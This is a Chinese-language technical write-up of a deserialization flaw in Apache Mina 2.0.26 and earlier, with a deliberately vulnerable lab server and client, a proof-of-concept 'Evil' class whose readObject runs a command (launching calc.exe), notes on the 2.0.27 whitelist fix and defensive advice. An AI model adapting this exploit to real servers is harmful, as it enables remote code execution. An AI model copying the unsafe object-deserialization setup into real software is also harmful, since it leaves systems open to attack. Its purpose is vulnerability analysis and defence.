Apache mina反序列化漏洞
字数 1182 2025-08-30 06:50:35

Apache Mina 反序列化漏洞分析与利用

漏洞概述

Apache Mina 是一个基于 Java 的高性能网络应用框架,其 2.0.26 及之前版本中存在反序列化漏洞,攻击者可通过构造恶意序列化对象实现远程代码执行(RCE)。

Apache Mina 框架简介

Apache Mina 是一款简化复杂网络通信开发的 Java 框架,主要特点包括:

  1. 抽象底层通信细节:封装 Java NIO 的底层 I/O 操作,开发者无需直接处理多线程并发或数据读写阻塞
  2. 分层架构设计
    • I/O 服务层(IoService):负责建立连接和管理会话
    • 过滤器链(FilterChain):处理协议编解码、日志记录等
    • 业务处理器(IoHandler):实现事件驱动的业务逻辑
  3. 支持多种通信协议:TCP/IP、UDP/IP、串口通信、虚拟机管道等
  4. 高性能与可扩展性:异步非阻塞模型、线程池优化、缓冲池技术
  5. 事件驱动与状态管理:通过事件回调机制管理连接生命周期

漏洞环境搭建

1. 创建 Message 类

package org.juju;

import java.io.Serializable;

public class Message implements Serializable {
    private static final long serialVersionUID = 1L;
    private Object content;
    
    public Message(Object content) {
        this.content = content;
    }
    
    public Object getContent() {
        return content;
    }
}

2. 创建 MinaServer 类

package org.juju;

import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IoSession;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;
import org.apache.mina.transport.socket.nio.NioSocketAcceptor;
import java.net.InetSocketAddress;

public class MinaServer {
    public static void main(String[] args) throws Exception {
        NioSocketAcceptor acceptor = new NioSocketAcceptor();
        acceptor.getFilterChain().addLast("codec", 
            new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));
        acceptor.setHandler(new ServerHandler());
        acceptor.bind(new InetSocketAddress(9123));
        System.out.println("Server started on port 9123...");
    }
    
    private static class ServerHandler extends IoHandlerAdapter {
        @Override
        public void messageReceived(IoSession session, Object message) {
            if (message instanceof Message) {
                Message msg = (Message) message;
                System.out.println("Received: " + msg.getContent());
            }
        }
        
        @Override
        public void exceptionCaught(IoSession session, Throwable cause) {
            cause.printStackTrace();
            session.closeNow();
        }
    }
}

3. 创建 MinaClient 类

package org.juju;

import org.apache.mina.core.future.ConnectFuture;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IoSession;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;
import org.apache.mina.transport.socket.nio.NioSocketConnector;
import java.net.InetSocketAddress;

public class MinaClient {
    public static void main(String[] args) {
        NioSocketConnector connector = new NioSocketConnector();
        connector.getFilterChain().addLast("codec", 
            new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));
        connector.setHandler(new ClientHandler());
        
        ConnectFuture future = connector.connect(new InetSocketAddress("localhost", 9123));
        future.awaitUninterruptibly();
        IoSession session = future.getSession();
        session.write(new Message("Hello, MINA!"));
        session.getCloseFuture().awaitUninterruptibly();
        connector.dispose();
    }
    
    private static class ClientHandler extends IoHandlerAdapter {
        @Override
        public void exceptionCaught(IoSession session, Throwable cause) {
            cause.printStackTrace();
            session.closeNow();
        }
    }
}

漏洞分析

漏洞位置

漏洞存在于 ObjectSerializationCodecFactory 类中,这是 Mina 专门用于处理 Java 对象序列化和反序列化的编解码器。

漏洞触发流程

  1. 客户端发送恶意序列化对象
  2. 服务端 ProtocolCodecFilter 接收到数据
  3. 调用 ObjectSerializationDecoder.decode() 方法
  4. 最终在 AbstractIoBuffer.getObject() 方法中完成反序列化
  5. 恶意对象被反序列化并执行恶意代码

关键代码分析

// 漏洞触发点 - 使用不安全的反序列化
acceptor.getFilterChain().addLast("codec", 
    new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));

漏洞利用

1. 创建恶意类

package org.juju;

import java.io.Serializable;
import java.io.IOException;

public class Evil implements Serializable {
    private static final long serialVersionUID = 1L;
    
    private void readObject(java.io.ObjectInputStream in) 
        throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        // 执行恶意代码
        Runtime.getRuntime().exec("calc.exe");
    }
}

2. 修改客户端发送恶意对象

// 替换原来的Message对象为Evil对象
session.write(new Evil());

3. 漏洞验证

  1. 启动服务端
  2. 运行修改后的客户端
  3. 观察服务端是否执行了恶意代码(如弹出计算器)

漏洞修复

官方在 2.0.27 版本中修复了此漏洞,修复方式为:

  1. 实现白名单校验机制
  2. ObjectSerializationDecoder 中设置允许的类
  3. 默认拒绝所有未明确允许的类

修复代码参考:

// 2.0.27+ 版本中需要显式设置允许的类
ObjectSerializationCodecFactory factory = new ObjectSerializationCodecFactory();
factory.setDecoderMaxObjectSize(...);
// 设置允许的类白名单

防御建议

  1. 升级到 Apache Mina 2.0.27 或更高版本
  2. 如果必须使用旧版本,应实现自定义的 ProtocolCodecFilter 并严格限制可反序列化的类
  3. 使用 Java 的安全管理器限制反序列化操作的权限
  4. 考虑使用替代的序列化方案,如 JSON 或 Protocol Buffers

总结

Apache Mina 反序列化漏洞是一个典型的 Java 反序列化安全问题,攻击者可以通过构造恶意序列化对象实现远程代码执行。开发者应充分了解反序列化的安全风险,及时更新依赖库,并实施严格的安全控制措施。

Apache Mina 反序列化漏洞分析与利用 漏洞概述 Apache Mina 是一个基于 Java 的高性能网络应用框架,其 2.0.26 及之前版本中存在反序列化漏洞,攻击者可通过构造恶意序列化对象实现远程代码执行(RCE)。 Apache Mina 框架简介 Apache Mina 是一款简化复杂网络通信开发的 Java 框架,主要特点包括: 抽象底层通信细节 :封装 Java NIO 的底层 I/O 操作,开发者无需直接处理多线程并发或数据读写阻塞 分层架构设计 : I/O 服务层(IoService):负责建立连接和管理会话 过滤器链(FilterChain):处理协议编解码、日志记录等 业务处理器(IoHandler):实现事件驱动的业务逻辑 支持多种通信协议 :TCP/IP、UDP/IP、串口通信、虚拟机管道等 高性能与可扩展性 :异步非阻塞模型、线程池优化、缓冲池技术 事件驱动与状态管理 :通过事件回调机制管理连接生命周期 漏洞环境搭建 1. 创建 Message 类 2. 创建 MinaServer 类 3. 创建 MinaClient 类 漏洞分析 漏洞位置 漏洞存在于 ObjectSerializationCodecFactory 类中,这是 Mina 专门用于处理 Java 对象序列化和反序列化的编解码器。 漏洞触发流程 客户端发送恶意序列化对象 服务端 ProtocolCodecFilter 接收到数据 调用 ObjectSerializationDecoder.decode() 方法 最终在 AbstractIoBuffer.getObject() 方法中完成反序列化 恶意对象被反序列化并执行恶意代码 关键代码分析 漏洞利用 1. 创建恶意类 2. 修改客户端发送恶意对象 3. 漏洞验证 启动服务端 运行修改后的客户端 观察服务端是否执行了恶意代码(如弹出计算器) 漏洞修复 官方在 2.0.27 版本中修复了此漏洞,修复方式为: 实现白名单校验机制 在 ObjectSerializationDecoder 中设置允许的类 默认拒绝所有未明确允许的类 修复代码参考: 防御建议 升级到 Apache Mina 2.0.27 或更高版本 如果必须使用旧版本,应实现自定义的 ProtocolCodecFilter 并严格限制可反序列化的类 使用 Java 的安全管理器限制反序列化操作的权限 考虑使用替代的序列化方案,如 JSON 或 Protocol Buffers 总结 Apache Mina 反序列化漏洞是一个典型的 Java 反序列化安全问题,攻击者可以通过构造恶意序列化对象实现远程代码执行。开发者应充分了解反序列化的安全风险,及时更新依赖库,并实施严格的安全控制措施。